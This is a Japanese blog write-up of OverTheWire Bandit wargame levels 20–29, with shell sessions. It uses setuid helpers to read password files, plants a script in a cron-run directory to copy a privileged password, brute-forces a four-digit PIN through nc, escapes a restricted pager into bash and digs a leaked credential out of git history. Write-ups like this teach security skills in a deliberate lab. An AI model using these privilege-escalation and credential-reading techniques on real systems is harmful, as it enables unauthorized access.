🕊️

[Level 20 ~ 29] OverTheWire Bandit Writeup

2024/11/19に公開

はじめに

←←(Level10~19)

→→(Level30~)

サイト

https://overthewire.org/wargames/bandit/

環境

  • macOS
  • Intelチップ

Tips

macOS 使いは,パスワードをコピーした度に,下記のコマンドをローカルで実行すると,良い感じにパスワードが保存できてタイヘンヨーイ

pbpaste >> password && echo "" >> password && cat -n password

ルール

ログインの前提

前回レベルのユーザー名 を指定し,(ssh -p 2220 bandit.labs.overthewire.org -l <前回レベルのユーザー名>) 前回レベルのパスワード を入力し,ログインしたものとします.(i.e. シェルはローカルではなく,ログイン後の bandit.labs.overthewire.org 上を想定しています.)

→Level20

  • とりあえず,ファイル bandit20-do を実行してみる.
  • su コマンドのようなものっぽいので,bandit20 権限で答えを取得.
bandit19@bandit:~$ ls -l
total 16
-rwsr-x--- 1 bandit20 bandit19 14880 Sep 19 07:08 bandit20-do
bandit19@bandit:~$ ./bandit20-do 
Run a command as another user.
  Example: ./bandit20-do id
bandit19@bandit:~$ ./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20

→Level21

  • 以下の内容を実行すれば良い.
    • nc コマンドを -l オプションを用いて,daemon を起動し,1行目に現在のパスワードを入力する.
    • 上記の daemon を起動しているときに,suconnect ファイルを実行すれば良い.
  • したがって,nc コマンドをバックグラウンド & で実行し,suconnect ファイルを実行すれば良い.
bandit20@bandit:~$ cat /etc/bandit_pass/bandit20 | nc -l 9999 & ./suconnect 9999
[3] 1256156
Read: <現在のパスワード>
Password matches, sending next password
<次のパスワード>
[3]-  Done                    cat /etc/bandit_pass/bandit20 | nc -l 9999

→Level22

  • とりあえず, /etc/cron.d を確認する.
  • おそらく,bandit22 が今回の問いなので,cat する.
  • /usr/bin/cronjob_bandit22.shbandit22 権限により毎時実行されていて,怪しいので見る.
  • パスワードが /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgvbandit21 権限でも見えるように転記されているので,そこを参照すれば良い.
bandit21@bandit:~$ ls /etc/cron.d
cronjob_bandit22  cronjob_bandit23  cronjob_bandit24  e2scrub_all  otw-tmp-dir  sysstat
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22 
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh 
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

→Level23

  • →Level22 と同様に, /usr/bin/cronjob_bandit23.sh を閲覧する.
  • 要は,I am user bandit23md5sum した名前の /tmp/ 内のファイルに答えがあるっぽい.
bandit22@bandit:~$ ls /etc/cron.d/
cronjob_bandit22  cronjob_bandit23  cronjob_bandit24  e2scrub_all  otw-tmp-dir  sysstat
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23 
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh 
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349

→Level24

  • →Level22 と同様に, /usr/bin/cronjob_bandit24.sh を閲覧する.
bandit23@bandit:~$ ls /etc/cron.d/
cronjob_bandit22  cronjob_bandit23  cronjob_bandit24  e2scrub_all  otw-tmp-dir  sysstat
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
  • /var/spool/bandit24/foo/ 内にあるファイルを bandit24 は常に実行してくれるらしい
  • だがしかし,同時にその実行ファイルを消している.
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done
  • そこで,パスワードを出力するスクリプトを cron に実行させよう.
  • ファイルを色々いじれる /tmp/tmp.XXXXXXXXXX に移動して色々やる.
    • パスワードを出力するスクリプトを作成する.
    • 作成したファイルに rw を与える.
    • パスワードの出力先の権限を開放する.
    • スクリプトを /var/spool/bandit24/foo/ にコピーする.
    • スクリプトがコピー先から消えていたら,パスワードは出力先の directory に現れているはず.
bandit23@bandit:~$ cd /tmp
bandit23@bandit:/tmp$ cd "$(mktemp -d)"
bandit23@bandit:/tmp/tmp.OuYi8PMCvg$ echo -e '#!/bin/sh\n\ncat /etc/bandit_pass/bandit24 > '"$(pwd)"'/ans.txt' > bar.sh
bandit23@bandit:/tmp/tmp.OuYi8PMCvg$ cat bar.sh 
#!/bin/sh

cat /etc/bandit_pass/bandit24 > /tmp/tmp.OuYi8PMCvg/ans.txt
bandit23@bandit:/tmp/tmp.OuYi8PMCvg$ chmod 777 bar.sh 
bandit23@bandit:/tmp/tmp.OuYi8PMCvg$ chmod 777 "$(pwd)"
bandit23@bandit:/tmp/tmp.OuYi8PMCvg$ touch ans.txt && chmod 777 ans.txt
bandit23@bandit:/tmp/tmp.OuYi8PMCvg$ cp bar.sh /var/spool/bandit24/foo/bar.sh
bandit23@bandit:/tmp/tmp.OuYi8PMCvg$ ls -l /var/spool/bandit24/foo/bar.sh
-rwxrwxr-x 1 bandit23 bandit23 71 Nov 19 09:53 /var/spool/bandit24/foo/bar.sh
bandit23@bandit:/tmp/tmp.qolqT7XWGZ$ ls -l /var/spool/bandit24/foo/bar.sh
ls: cannot access '/var/spool/bandit24/foo/bar.sh': No such file or directory
bandit23@bandit:/tmp/tmp.qolqT7XWGZ$ cat ans.txt 

→Level25

  • とりあえず,接続してみると,現在のパスワードと 4-digit を空白区切りで接続を試みれば良いことがわかる.
  • $(cat /etc/bandit_pass/bandit24)for の中に入れると,リソースが心配なので,あらかじめその結果を変数 password に入れておく(前回のパスワードを for の中に直打ちでも良い)
  • あとは for総当たり攻撃をすれば良い.
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
bandit24@bandit:~$ password=$(cat /etc/bandit_pass/bandit24)
bandit24@bandit:~$ for i in {0000..9999}; do echo -e "$password $i"; done | nc localhost 30002
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
<省略>
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Correct!

→Level26

  • 一旦 bandit26.sshkey を用いて一旦アクセスしてみる.
  • 普段出力されてなかったはずの,アスキーアートを出力した後に追い出された.
bandit25@bandit:~$ ls
bandit26.sshkey
bandit25@bandit:~$ ssh -p 2220 -i bandit26.sshkey bandit26@localhost
<省略>
  Enjoy your stay!

  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/ 
Connection to localhost closed.
  • 問題文より,bandit26 でログインしたときに利用しているシェルを /etc/passwd より確認してみる.
  • bandit26 が利用しているシェル,/usr/bin/showtext を確認するとどうやら,~/text.txtmore を用いて出力していることがわかる.
bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext 
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0
  • more コマンドを実行中に, /etc/bandit_pass/bandit24 が閲覧できればいんじゃね?
  • ターミナルの行数を少なくする.
  • ログインをする.
  • more コマンドの途中なので,v を入力して,vim モードに入る.
  • :e を入力し,/etc/bandit\_pass/bandit26 を入力することで,欲しいファイルが開けて,パスワードが得られる.
bandit25@bandit:~$ ssh -p 2220 -i bandit26.sshkey localhost -l bandit26
<省略>
  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
--More--(66%)
:e /etc/bandit\_pass/bandit26

→Level27

  • →Level26 と同様に,ターミナルの行数を少なくする.
  • set コマンドを使って,シェルを普通のやつに変更し,shell コマンドを使ってそれを起動する.
<省略>
  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
--More--(66%)
:set shell=/bin/bash
:shell
  • →Level20 と同じノリであとは解ける.
  • su コマンドのように bandit27-do ファイルを実行すれば良い.
bandit26@bandit:~$ ls
bandit27-do  text.txt
bandit26@bandit:~$ ./bandit27-do 
Run a command as another user.
  Example: ./bandit27-do id
bandit26@bandit:~$ ./bandit27-do id
uid=11026(bandit26) gid=11026(bandit26) euid=11027(bandit27) groups=11026(bandit26)
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27

→Level28

  • README をみる.
$ ls
README
$ cat README

→Level29

  • README.md をみる.
  • 手がかりがなさすぎるので,とりあえず,git log をみる.
  • 直前のコミットでリークがあったっぽいんで,git diff で情報を参照する.
$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx
$ git log
commit 817e303aa6c2b207ea043c7bba1bb7575dc4ea73 (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date:   Thu Sep 19 07:08:39 2024 +0000

    fix info leak

commit 3621de89d8eac9d3b64302bfb2dc67e9a566decd
Author: Morla Porla <morla@overthewire.org>
Date:   Thu Sep 19 07:08:39 2024 +0000

    add missing data

commit 0622b73250502618babac3d174724bb303c32182
Author: Ben Dover <noone@overthewire.org>
Date:   Thu Sep 19 07:08:39 2024 +0000

    initial commit of README.md
$ git diff @ @^
diff --git a/README.md b/README.md
index 5c6457b..d4e3b74 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
 ## credentials
 
 - username: bandit29
-- password: xxxxxxxxxx
+- password: <答え>

おわりに

←←(Level10~19)

→→(Level30~)

参考文献

https://ywkw1717.hatenablog.com/entry/2016/06/27/020708
https://mayadevbe.me/posts/overthewire/bandit/level26/

筆者について

https://mattsun-kun-portfolio.vercel.app/

Discussion